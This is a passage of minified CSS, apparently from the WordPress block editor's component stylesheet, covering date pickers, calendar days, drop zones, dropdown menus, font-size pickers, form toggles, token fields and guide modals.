5px;position:absolute;right:0;top:50%;transform:translateY(-50%)}.SingleDatePickerInput_clearDate__default:focus,.SingleDatePickerInput_clearDate__default:hover{background:#dbdbdb;border-radius:50%}.SingleDatePickerInput_clearDate__small{padding:6px}.SingleDatePickerInput_clearDate__hide{visibility:hidden}.SingleDatePickerInput_clearDate_svg{fill:#82888a;height:12px;width:15px;vertical-align:middle}.SingleDatePickerInput_clearDate_svg__small{height:9px}.SingleDatePickerInput_calendarIcon{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;display:inline-block;vertical-align:middle;padding:10px;margin:0 5px 0 10px}.SingleDatePickerInput_calendarIcon_svg{fill:#82888a;height:15px;width:14px;vertical-align:middle}.SingleDatePicker{position:relative;display:inline-block}.SingleDatePicker__block{display:block}.SingleDatePicker_picker{z-index:1;background-color:#fff;position:absolute}.SingleDatePicker_picker__rtl{direction:rtl}.SingleDatePicker_picker__directionLeft{left:0}.SingleDatePicker_picker__directionRight{right:0}.SingleDatePicker_picker__portal{background-color:rgba(0,0,0,.3);position:fixed;top:0;left:0;height:100%;width:100%}.SingleDatePicker_picker__fullScreenPortal{background-color:#fff}.SingleDatePicker_closeButton{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;position:absolute;top:0;right:0;padding:15px;z-index:2}.SingleDatePicker_closeButton:focus,.SingleDatePicker_closeButton:hover{color:#b0b3b4;text-decoration:none}.SingleDatePicker_closeButton_svg{height:15px;width:15px;fill:#cacccd}.DayPickerKeyboardShortcuts_buttonReset{background:0 0;border:0;border-radius:0;color:inherit;font:inherit;line-height:normal;overflow:visible;padding:0;cursor:pointer;font-size:14px}.DayPickerKeyboardShortcuts_buttonReset:active{outline:0}.DayPickerKeyboardShortcuts_show{width:22px;position:absolute;z-index:2}.DayPickerKeyboardShortcuts_show__bottomRight{border-top:26px solid transparent;border-right:33px solid #00a699;bottom:0;right:0}.DayPickerKeyboardShortcuts_show__bottomRight:hover{border-right:33px solid #008489}.DayPickerKeyboardShortcuts_show__topRight{border-bottom:26px solid transparent;border-right:33px solid #00a699;top:0;right:0}.DayPickerKeyboardShortcuts_show__topRight:hover{border-right:33px solid #008489}.DayPickerKeyboardShortcuts_show__topLeft{border-bottom:26px solid transparent;border-left:33px solid #00a699;top:0;left:0}.DayPickerKeyboardShortcuts_show__topLeft:hover{border-left:33px solid #008489}.DayPickerKeyboardShortcuts_showSpan{color:#fff;position:absolute}.DayPickerKeyboardShortcuts_showSpan__bottomRight{bottom:0;right:-28px}.DayPickerKeyboardShortcuts_showSpan__topRight{top:1px;right:-28px}.DayPickerKeyboardShortcuts_showSpan__topLeft{top:1px;left:-28px}.DayPickerKeyboardShortcuts_panel{overflow:auto;background:#fff;border:1px solid #dbdbdb;border-radius:2px;position:absolute;top:0;bottom:0;right:0;left:0;z-index:2;padding:22px;margin:33px}.DayPickerKeyboardShortcuts_title{font-size:16px;font-weight:700;margin:0}.DayPickerKeyboardShortcuts_list{list-style:none;padding:0;font-size:14px}.DayPickerKeyboardShortcuts_close{position:absolute;right:22px;top:22px;z-index:2}.DayPickerKeyboardShortcuts_close:active{outline:0}.DayPickerKeyboardShortcuts_closeSvg{height:15px;width:15px;fill:#cacccd}.DayPickerKeyboardShortcuts_closeSvg:focus,.DayPickerKeyboardShortcuts_closeSvg:hover{fill:#82888a}.CalendarDay{box-sizing:border-box;cursor:pointer;font-size:14px;text-align:center}.CalendarDay:active{outline:0}.CalendarDay__defaultCursor{cursor:default}.CalendarDay__default{border:1px solid #e4e7e7;color:#484848;background:#fff}.CalendarDay__default:hover{background:#e4e7e7;border:1px double #e4e7e7;color:inherit}.CalendarDay__hovered_offset{background:#f4f5f5;border:1px double #e4e7e7;color:inherit}.CalendarDay__outside{border:0;background:#fff;color:#484848}.CalendarDay__outside:hover{border:0}.CalendarDay__blocked_minimum_nights{background:#fff;border:1px solid #eceeee;color:#cacccd}.CalendarDay__blocked_minimum_nights:active,.CalendarDay__blocked_minimum_nights:hover{background:#fff;color:#cacccd}.CalendarDay__highlighted_calendar{background:#ffe8bc;color:#484848}.CalendarDay__highlighted_calendar:active,.CalendarDay__highlighted_calendar:hover{background:#ffce71;color:#484848}.CalendarDay__selected_span{background:#66e2da;border:1px solid #33dacd;color:#fff}.CalendarDay__selected_span:active,.CalendarDay__selected_span:hover{background:#33dacd;border:1px solid #33dacd;color:#fff}.CalendarDay__last_in_range{border-right:#00a699}.CalendarDay__selected,.CalendarDay__selected:active,.CalendarDay__selected:hover{background:#00a699;border:1px solid #00a699;color:#fff}.CalendarDay__hovered_span,.CalendarDay__hovered_span:hover{background:#b2f1ec;border:1px solid #80e8e0;color:#007a87}.CalendarDay__hovered_span:active{background:#80e8e0;border:1px solid #80e8e0;color:#007a87}.CalendarDay__blocked_calendar,.CalendarDay__blocked_calendar:active,.CalendarDay__blocked_calendar:hover{background:#cacccd;border:1px solid #cacccd;color:#82888a}.CalendarDay__blocked_out_of_range,.CalendarDay__blocked_out_of_range:active,.CalendarDay__blocked_out_of_range:hover{background:#fff;border:1px solid #e4e7e7;color:#cacccd}.CalendarMonth{background:#fff;text-align:center;vertical-align:top;-webkit-user-select:none;-ms-user-select:none;user-select:none}.CalendarMonth_table{border-collapse:collapse;border-spacing:0}.CalendarMonth_verticalSpacing{border-collapse:separate}.CalendarMonth_caption{color:#484848;font-size:18px;text-align:center;padding-top:22px;padding-bottom:37px;caption-side:top}.CalendarMonth_caption__verticalScrollable{padding-top:12px;padding-bottom:7px}.CalendarMonthGrid{background:#fff;text-align:left;z-index:0}.CalendarMonthGrid__animating{z-index:1}.CalendarMonthGrid__horizontal{position:absolute;left:0}.CalendarMonthGrid__vertical{margin:0 auto}.CalendarMonthGrid__vertical_scrollable{margin:0 auto;overflow-y:scroll}.CalendarMonthGrid_month__horizontal{display:inline-block;vertical-align:top;min-height:100%}.CalendarMonthGrid_month__hideForAnimation{position:absolute;z-index:-1;opacity:0;pointer-events:none}.CalendarMonthGrid_month__hidden{visibility:hidden}.DayPickerNavigation{position:relative;z-index:2}.DayPickerNavigation__horizontal{height:0}.DayPickerNavigation__verticalDefault{position:absolute;width:100%;height:52px;bottom:0;left:0}.DayPickerNavigation__verticalScrollableDefault{position:relative}.DayPickerNavigation_button{cursor:pointer;-webkit-user-select:none;-ms-user-select:none;user-select:none;border:0;padding:0;margin:0}.DayPickerNavigation_button__default{border:1px solid #e4e7e7;background-color:#fff;color:#757575}.DayPickerNavigation_button__default:focus,.DayPickerNavigation_button__default:hover{border:1px solid #c4c4c4}.DayPickerNavigation_button__default:active{background:#f2f2f2}.DayPickerNavigation_button__horizontalDefault{position:absolute;top:18px;line-height:.78;border-radius:3px;padding:6px 9px}.DayPickerNavigation_leftButton__horizontalDefault{left:22px}.DayPickerNavigation_rightButton__horizontalDefault{right:22px}.DayPickerNavigation_button__verticalDefault{padding:5px;background:#fff;box-shadow:0 0 5px 2px rgba(0,0,0,.1);position:relative;display:inline-block;height:100%;width:50%}.DayPickerNavigation_nextButton__verticalDefault{border-left:0}.DayPickerNavigation_nextButton__verticalScrollableDefault{width:100%}.DayPickerNavigation_svg__horizontal{height:19px;width:19px;fill:#82888a;display:block}.DayPickerNavigation_svg__vertical{height:42px;width:42px;fill:#484848;display:block}.DayPicker{position:relative;text-align:left}.DayPicker,.DayPicker__horizontal{background:#fff}.DayPicker__verticalScrollable{height:100%}.DayPicker__hidden{visibility:hidden}.DayPicker__withBorder{box-shadow:0 2px 6px rgba(0,0,0,.05),0 0 0 1px rgba(0,0,0,.07);border-radius:3px}.DayPicker_portal__horizontal{box-shadow:none;position:absolute;left:50%;top:50%}.DayPicker_portal__vertical{position:static}.DayPicker_focusRegion{outline:0}.DayPicker_calendarInfo__horizontal,.DayPicker_wrapper__horizontal{display:inline-block;vertical-align:top}.DayPicker_weekHeaders{position:relative}.DayPicker_weekHeaders__horizontal{margin-left:13px}.DayPicker_weekHeader{color:#757575;position:absolute;top:62px;z-index:2;text-align:left;padding:0!important}.DayPicker_weekHeader__vertical{left:50%}.DayPicker_weekHeader__verticalScrollable{top:0;display:table-row;border-bottom:1px solid #dbdbdb;background:#fff;margin-left:0;left:0;width:100%;text-align:center}.DayPicker_weekHeader_ul{list-style:none;margin:1px 0;padding-left:0;padding-right:0;font-size:14px}.DayPicker_weekHeader_li{display:inline-block;text-align:center;margin:0 1px}.DayPicker_transitionContainer{position:relative;overflow:hidden;border-radius:3px}.DayPicker_transitionContainer__horizontal{transition:height .2s ease-in-out}.DayPicker_transitionContainer__vertical{width:100%}.DayPicker_transitionContainer__verticalScrollable{padding-top:20px;height:100%;position:absolute;top:0;bottom:0;right:0;left:0;overflow-y:scroll}.DateInput{margin:0;padding:0;background:#fff;position:relative;display:inline-block;width:130px;vertical-align:middle}.DateInput__small{width:97px}.DateInput__block{width:100%}.DateInput__disabled{background:#f2f2f2;color:#dbdbdb}.DateInput_input{font-weight:200;font-size:19px;line-height:24px;color:#484848;background-color:#fff;width:100%;padding:11px 11px 9px;border:0;border-bottom:2px solid transparent;border-radius:0}.DateInput_input__small{font-size:15px;line-height:18px;letter-spacing:.2px;padding:7px 7px 5px}.DateInput_input__regular{font-weight:auto}.DateInput_input__readOnly{-webkit-user-select:none;-ms-user-select:none;user-select:none}.DateInput_input__focused{outline:0;background:#fff;border:0;border-bottom:2px solid #008489}.DateInput_input__disabled{background:#f2f2f2;font-style:italic}.DateInput_screenReaderMessage{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.DateInput_fang{position:absolute;width:20px;height:10px;left:22px;z-index:2}.DateInput_fangShape{fill:#fff}.DateInput_fangStroke{stroke:#dbdbdb;fill:transparent}.DateRangePickerInput{background-color:#fff;display:inline-block}.DateRangePickerInput__disabled{background:#f2f2f2}.DateRangePickerInput__withBorder{border-radius:2px;border:1px solid #dbdbdb}.DateRangePickerInput__rtl{direction:rtl}.DateRangePickerInput__block{display:block}.DateRangePickerInput__showClearDates{padding-right:30px}.DateRangePickerInput_arrow{display:inline-block;vertical-align:middle;color:#484848}.DateRangePickerInput_arrow_svg{vertical-align:middle;fill:#484848;height:24px;width:24px}.DateRangePickerInput_clearDates{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;padding:10px;margin:0 10px 0 5px;position:absolute;right:0;top:50%;transform:translateY(-50%)}.DateRangePickerInput_clearDates__small{padding:6px}.DateRangePickerInput_clearDates_default:focus,.DateRangePickerInput_clearDates_default:hover{background:#dbdbdb;border-radius:50%}.DateRangePickerInput_clearDates__hide{visibility:hidden}.DateRangePickerInput_clearDates_svg{fill:#82888a;height:12px;width:15px;vertical-align:middle}.DateRangePickerInput_clearDates_svg__small{height:9px}.DateRangePickerInput_calendarIcon{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;display:inline-block;vertical-align:middle;padding:10px;margin:0 5px 0 10px}.DateRangePickerInput_calendarIcon_svg{fill:#82888a;height:15px;width:14px;vertical-align:middle}.DateRangePicker{position:relative;display:inline-block}.DateRangePicker__block{display:block}.DateRangePicker_picker{z-index:1;background-color:#fff;position:absolute}.DateRangePicker_picker__rtl{direction:rtl}.DateRangePicker_picker__directionLeft{left:0}.DateRangePicker_picker__directionRight{right:0}.DateRangePicker_picker__portal{background-color:rgba(0,0,0,.3);position:fixed;top:0;left:0;height:100%;width:100%}.DateRangePicker_picker__fullScreenPortal{background-color:#fff}.DateRangePicker_closeButton{background:0 0;border:0;color:inherit;font:inherit;line-height:normal;overflow:visible;cursor:pointer;position:absolute;top:0;right:0;padding:15px;z-index:2}.DateRangePicker_closeButton:focus,.DateRangePicker_closeButton:hover{color:#b0b3b4;text-decoration:none}.DateRangePicker_closeButton_svg{height:15px;width:15px;fill:#cacccd}.components-datetime{padding:0}.components-datetime .components-datetime__calendar-help{padding:16px}.components-datetime .components-datetime__calendar-help h4{margin:0}.components-datetime .components-datetime__buttons{display:flex;justify-content:space-between}.components-datetime .components-datetime__date-help-toggle{display:block;margin-left:auto}.components-datetime fieldset{border:0;padding:0;margin:0}.components-datetime input,.components-datetime select{box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575}@media (prefers-reduced-motion:reduce){.components-datetime input,.components-datetime select{transition-duration:0s}}.components-datetime .components-button,.components-datetime input[type=number],.components-datetime select{height:30px;margin-top:0;margin-bottom:0}.components-datetime__date{min-height:236px;border-top:1px solid #ddd}.components-datetime__date .DayPickerNavigation_leftButton__horizontalDefault{ /*!rtl:begin:ignore*/left:13px /*!rtl:end:ignore*/}.components-datetime__date .CalendarMonth_caption{font-size:13px}.components-datetime__date .CalendarMonth_table{border-collapse:separate;border-spacing:2px}.components-datetime__date .CalendarDay{font-size:13px;border:none;border-radius:50%;text-align:center}.components-datetime__date .CalendarDay:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 0 0 3px #fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 3px #fff;outline:2px solid transparent}.components-datetime__date .CalendarDay__selected{background:#007cba;background:var(--wp-admin-theme-color);border:2px solid transparent}.components-datetime__date .CalendarDay__selected:hover{background:#005a87;background:var(--wp-admin-theme-color-darker-20)}.components-datetime__date .CalendarDay__selected:focus{box-shadow:inset 0 0 0 1px #fff}.components-datetime__date .DayPickerNavigation_button__horizontalDefault{padding:2px 8px;top:20px}.components-datetime__date .DayPickerNavigation_button__horizontalDefault:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-datetime__date .DayPicker_weekHeader{top:50px}.components-datetime__date .DayPicker_weekHeader .DayPicker_weekHeader_ul{margin:1px;padding-left:0;padding-right:0}.components-datetime__date.is-description-visible .DayPicker{visibility:hidden}.components-datetime__time{padding-bottom:16px}.components-datetime__time fieldset{position:relative;margin-bottom:.5em}.components-datetime__time fieldset+fieldset{margin-bottom:0}.components-datetime__time .components-datetime__time-field-am-pm fieldset{margin-top:0}.components-datetime__time .components-datetime__time-wrapper{display:flex}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-separator{display:inline-block;padding:0 3px 0 0}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field-time{direction:ltr}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select{margin-right:4px}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field select:focus{position:relative;z-index:1}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]{padding:2px;margin-right:4px;text-align:center;-moz-appearance:textfield}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]:focus{position:relative;z-index:1}.components-datetime__time .components-datetime__time-wrapper .components-datetime__time-field input[type=number]::-webkit-inner-spin-button{-webkit-appearance:none;margin:0}.components-datetime__time.is-12-hour .components-datetime__time-field-day input{margin:-4px 0 0!important;border-radius:2px 0 0 2px!important}.components-datetime__time.is-12-hour .components-datetime__time-field-year input{border-radius:0 2px 2px 0!important}.components-datetime__timezone{line-height:30px;margin-left:4px;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}.components-datetime__time-legend{font-weight:600;margin-top:.5em}.components-datetime__time-legend.invisible{position:absolute;top:-999em;left:-999em}.components-datetime__time-field-day-input,.components-datetime__time-field-hours-input,.components-datetime__time-field-minutes-input{width:35px}.components-datetime__time-field-year-input{width:55px}.components-datetime__time-field-month-select{max-width:145px}.components-popover .components-datetime__date{padding-left:4px}.block-editor-dimension-control .components-base-control__field{display:flex;align-items:center}.block-editor-dimension-control .components-base-control__label{display:flex;align-items:center;margin-right:1em;margin-bottom:0}.block-editor-dimension-control .components-base-control__label .dashicon{margin-right:.5em}.block-editor-dimension-control.is-manual .components-base-control__label{width:10em}body.is-dragging-components-draggable{cursor:move;cursor:grabbing!important}.components-draggable__invisible-drag-image{position:fixed;left:-1000px;height:50px;width:50px}.components-draggable__clone{position:fixed;padding:0;background:transparent;pointer-events:none;z-index:1000000000}.components-drop-zone{position:absolute;top:0;right:0;bottom:0;left:0;z-index:40;visibility:hidden;opacity:0;transition:opacity .3s,background-color .3s,visibility 0s .3s;border:2px solid #007cba;border:2px solid var(--wp-admin-theme-color);border-radius:2px}@media (prefers-reduced-motion:reduce){.components-drop-zone{transition-duration:0s}}.components-drop-zone.is-active{opacity:1;visibility:visible;transition:opacity .3s,background-color .3s}@media (prefers-reduced-motion:reduce){.components-drop-zone.is-active{transition-duration:0s}}.components-drop-zone.is-dragging-over-element{background-color:#007cba;background-color:var(--wp-admin-theme-color)}.components-drop-zone__content{position:absolute;top:50%;left:0;right:0;z-index:50;transform:translateY(-50%);width:100%;text-align:center;color:#fff;transition:transform .2s ease-in-out}@media (prefers-reduced-motion:reduce){.components-drop-zone__content{transition-duration:0s}}.components-drop-zone.is-dragging-over-element .components-drop-zone__content{transform:translateY(-50%) scale(1.05)}.components-drop-zone__content-icon,.components-drop-zone__content-text{display:block}.components-drop-zone__content-icon{margin:0 auto;line-height:0;fill:currentColor}.components-drop-zone__content-text{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.components-drop-zone__provider{height:100%}.components-dropdown{display:inline-block}.components-dropdown__content .components-popover__content>div{padding:12px}.components-dropdown-menu__popover .components-popover__content{min-width:200px}.components-dropdown-menu__menu{width:100%;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:1.4}.components-dropdown-menu__menu .components-dropdown-menu__menu-item,.components-dropdown-menu__menu .components-menu-item{width:100%;padding:6px;outline:none;cursor:pointer;white-space:nowrap}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator,.components-dropdown-menu__menu .components-menu-item.has-separator{margin-top:6px;position:relative;overflow:visible}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.has-separator:before,.components-dropdown-menu__menu .components-menu-item.has-separator:before{display:block;content:"";box-sizing:content-box;background-color:#ddd;position:absolute;top:-3px;left:0;right:0;height:1px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item.is-active svg,.components-dropdown-menu__menu .components-menu-item.is-active svg{color:#fff;background:#1e1e1e;box-shadow:0 0 0 1px #1e1e1e;border-radius:1px}.components-dropdown-menu__menu .components-dropdown-menu__menu-item>svg,.components-dropdown-menu__menu .components-menu-item>svg{border-radius:2px;width:24px;height:24px}.components-dropdown-menu__menu .components-menu-item__button,.components-dropdown-menu__menu .components-menu-item__button.components-button{min-height:36px;height:auto;text-align:left;padding-left:8px;padding-right:8px}.components-dropdown-menu__menu .components-menu-group{padding:12px;margin:0 -12px}.components-dropdown-menu__menu .components-menu-group:first-child{margin-top:-12px}.components-dropdown-menu__menu .components-menu-group:last-child{margin-bottom:-12px}.components-dropdown-menu__menu .components-menu-group+.components-menu-group{margin-top:0;border-top:1px solid #ccc;padding:12px}.is-alternate .components-dropdown-menu__menu .components-menu-group+.components-menu-group{border-color:#1e1e1e}.components-font-size-picker__controls{max-width:248px;display:flex;flex-wrap:wrap;align-items:center;margin-bottom:24px}.components-font-size-picker__controls .components-font-size-picker__number{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;display:inline-block;font-weight:500;height:30px;margin:8px 8px 0 0;width:54px}@media (prefers-reduced-motion:reduce){.components-font-size-picker__controls .components-font-size-picker__number{transition-duration:0s}}@media (min-width:600px){.components-font-size-picker__controls .components-font-size-picker__number{font-size:13px;line-height:normal}}.components-font-size-picker__controls .components-font-size-picker__number:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-font-size-picker__controls .components-font-size-picker__number:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-font-size-picker__controls .components-font-size-picker__number[value=""]+.components-button{cursor:default;opacity:.3;pointer-events:none}.components-font-size-picker__controls .components-font-size-picker__number-container{display:flex;flex-direction:column}.components-font-size-picker__controls .components-font-size-picker__select{margin-right:8px}.components-font-size-picker__controls .components-color-palette__clear{height:30px;margin-top:26px}.components-font-size-picker__custom-input .components-range-control__slider+.dashicon{width:30px;height:30px}.components-font-size-picker{border:0;padding:0;margin:0}.components-form-toggle{position:relative;display:inline-block}.components-form-toggle .components-form-toggle__track{content:"";display:inline-block;box-sizing:border-box;vertical-align:top;background-color:#fff;border:1px solid #1e1e1e;width:36px;height:18px;border-radius:9px;transition:background .2s ease}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__track{transition-duration:0s}}.components-form-toggle .components-form-toggle__thumb{display:block;position:absolute;box-sizing:border-box;top:3px;left:3px;width:12px;height:12px;border-radius:50%;transition:transform .1s ease;background-color:#1e1e1e;border:5px solid #1e1e1e}@media (prefers-reduced-motion:reduce){.components-form-toggle .components-form-toggle__thumb{transition-duration:0s}}.components-form-toggle.is-checked .components-form-toggle__track{background-color:#007cba;background-color:var(--wp-admin-theme-color);border:9px solid transparent}.components-form-toggle .components-form-toggle__input:focus+.components-form-toggle__track{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent;outline-offset:2px}.components-form-toggle.is-checked .components-form-toggle__thumb{background-color:#fff;border-width:0;transform:translateX(18px)}.components-disabled .components-form-toggle,.components-form-toggle.is-disabled{opacity:.3}.components-form-toggle input.components-form-toggle__input[type=checkbox]{position:absolute;top:0;left:0;width:100%;height:100%;opacity:0;margin:0;padding:0;z-index:1;border:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:checked{background:none}.components-form-toggle input.components-form-toggle__input[type=checkbox]:before{content:""}.components-form-token-field__input-container{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;display:flex;flex-wrap:wrap;align-items:flex-start;width:100%;margin:0 0 8px;padding:2px 4px;cursor:text}@media (prefers-reduced-motion:reduce){.components-form-token-field__input-container{transition-duration:0s}}@media (min-width:600px){.components-form-token-field__input-container{font-size:13px;line-height:normal}}.components-form-token-field__input-container:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-form-token-field__input-container::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-form-token-field__input-container::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-form-token-field__input-container:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-form-token-field__input-container::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-form-token-field__input-container::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-form-token-field__input-container:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-form-token-field__input-container.is-disabled{background:#ddd;border-color:#ddd}.components-form-token-field__input-container.is-active{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-form-token-field__input-container input[type=text].components-form-token-field__input{display:inline-block;flex:1;font-size:16px;width:100%;max-width:100%;margin-left:4px;padding:0;min-height:24px;min-width:50px;background:inherit;border:0;color:#1e1e1e;box-shadow:none}@media (min-width:600px){.components-form-token-field__input-container input[type=text].components-form-token-field__input{font-size:13px}}.components-form-token-field.is-active .components-form-token-field__input-container input[type=text].components-form-token-field__input,.components-form-token-field__input-container input[type=text].components-form-token-field__input:focus{outline:none;box-shadow:none}.components-form-token-field__input-container .components-form-token-field__token+input[type=text].components-form-token-field__input{width:auto}.components-form-token-field__label{display:inline-block;margin-bottom:4px}.components-form-token-field__help{font-size:12px;font-style:normal;color:#757575}.components-form-token-field__token{font-size:13px;display:flex;margin:2px 4px 2px 0;color:#1e1e1e;max-width:100%}.components-form-token-field__token.is-success .components-form-token-field__remove-token,.components-form-token-field__token.is-success .components-form-token-field__token-text{background:#4ab866}.components-form-token-field__token.is-error .components-form-token-field__remove-token,.components-form-token-field__token.is-error .components-form-token-field__token-text{background:#cc1818}.components-form-token-field__token.is-validating .components-form-token-field__remove-token,.components-form-token-field__token.is-validating .components-form-token-field__token-text{color:#757575}.components-form-token-field__token.is-borderless{position:relative;padding:0 16px 0 0}.components-form-token-field__token.is-borderless .components-form-token-field__token-text{background:transparent;color:#007cba;color:var(--wp-admin-theme-color)}.components-form-token-field__token.is-borderless .components-form-token-field__remove-token{background:transparent;color:#757575;position:absolute;top:1px;right:0}.components-form-token-field__token.is-borderless.is-success .components-form-token-field__token-text{color:#4ab866}.components-form-token-field__token.is-borderless.is-error .components-form-token-field__token-text{color:#cc1818;border-radius:4px 0 0 4px;padding:0 4px 0 6px}.components-form-token-field__token.is-borderless.is-validating .components-form-token-field__token-text{color:#1e1e1e}.components-form-token-field__token.is-disabled .components-form-token-field__remove-token{cursor:default}.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{display:inline-block;line-height:24px;height:auto;background:#ddd;min-width:unset;transition:all .2s cubic-bezier(.4,1,.4,1)}@media (prefers-reduced-motion:reduce){.components-form-token-field__remove-token.components-button,.components-form-token-field__token-text{transition-duration:0s;animation-duration:1ms}}.components-form-token-field__token-text{border-radius:2px 0 0 2px;padding:0 0 0 8px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.components-form-token-field__remove-token.components-button{cursor:pointer;border-radius:0 2px 2px 0;padding:0 2px;color:#1e1e1e;line-height:10px;overflow:initial}.components-form-token-field__remove-token.components-button:hover{color:#1e1e1e}.components-form-token-field__suggestions-list{flex:1 0 100%;min-width:100%;max-height:9em;overflow-y:auto;transition:all .15s ease-in-out;list-style:none;border-top:1px solid #757575;margin:4px -4px -4px;padding:0}@media (prefers-reduced-motion:reduce){.components-form-token-field__suggestions-list{transition-duration:0s}}.components-form-token-field__suggestion{color:#757575;display:block;font-size:13px;padding:4px 8px;margin:0;cursor:pointer}.components-form-token-field__suggestion.is-selected{background:#007cba;background:var(--wp-admin-theme-color);color:#fff}.components-form-token-field__suggestion-match{text-decoration:underline}@media (min-width:600px){.components-guide{width:600px}}.components-guide .components-modal__header{background:none;border-bottom:none;width:100%;padding:0;margin:0}.components-guide .components-modal__header .components-button{align-self:flex-start;margin:8px 8px 0 0;position:static}.components-guide .components-modal__header .components-button:hover svg{fill:#fff}.components-guide__container{display:flex;flex-direction:column;justify-content:space-between;margin-top:-60px;min-height:100%}.components-guide__page{display:flex;flex-direction:column;justify-content:center;position:relative}@media (min-width:600px){.components-guide__page{min-height:300px}}.components-guide__footer{align-content:center;display:flex;height:30px;justify-content:center;margin:0 0 24px;padding:0 32px;position:relative;width:100%}@media (max-width:600px){.components-guide__footer{position:absolute;bottom:0}}.components-guide__page-control{margin:8px 0;text-align:center}.components-guide__page-control li{display:inline-block}.components-guide__page-control .components-button{height:30px;min-width:20px}.components-guide .components-modal__content{padding:0}.components-modal__frame.components-guide{border:none;min-width:312px;height:80vh;max-height:575px}@media (max-width:600px){.components-modal__frame.components-guide{bottom:5%;left:16px;right:16px;top:5%;margin:0 auto}}.components-button.components-guide__back-button,.components-button.components-guide__finish-button,.components-button.components-guide__forward-button{height:30px;position:absolute}.components-button.components-guide__back-button,.components-button.components-guide__forward-button{font-size:13px;padding:4px 2px}.components-button.components-guide__back-button.has-text svg,.components-button.components-guide__forward-button.has-text svg{margin:0}.components-button.components-guide__back-button:hover,.components-button.components-guide__forward-button:hover{text-decoration:underline}.components-button.components-guide__back-button{left:32px}.components-button.components-guide__forward-button{right:32px;color:#1386bf;font-weight:700}.components-button.components-guide__finish-button{right:32px}.components-button.components-guide__inline-finish-button{display:none}[role=region]{position:relative}.is-focusing-regions [role=region]:focus:after{content:"";position:absolute;top:0;bottom:0;left:0;right:0;pointer-events:none;outline:4px solid transparent;box-shadow:inset 0 0 0 4px #007cba;box-shadow:inset 0 0 0 4px var(--wp-admin-theme-color)}@supports (outline-offset:1px){.is-focusing-regions [role=region]:focus:after{content:none}.is-focusing-regions [role=region]:focus{outline-style:solid;outline-color:#007cba;outline-color:var(--wp-admin-theme-color);outline-width:4px;outline-offset:-4px}}.components-menu-group+.components-menu-group{margin-top:8px;padding-top:8px;border-top:1px solid #1e1e1e}.components-menu-group__label{padding:0 8px;margin-top:4px;margin-bottom:12px;color:#757575;text-transform:uppercase;font-size:11px;font-weight:500}.components-menu-item__button,.components-menu-item__button.components-button{width:100%}.components-menu-item__button.components-button 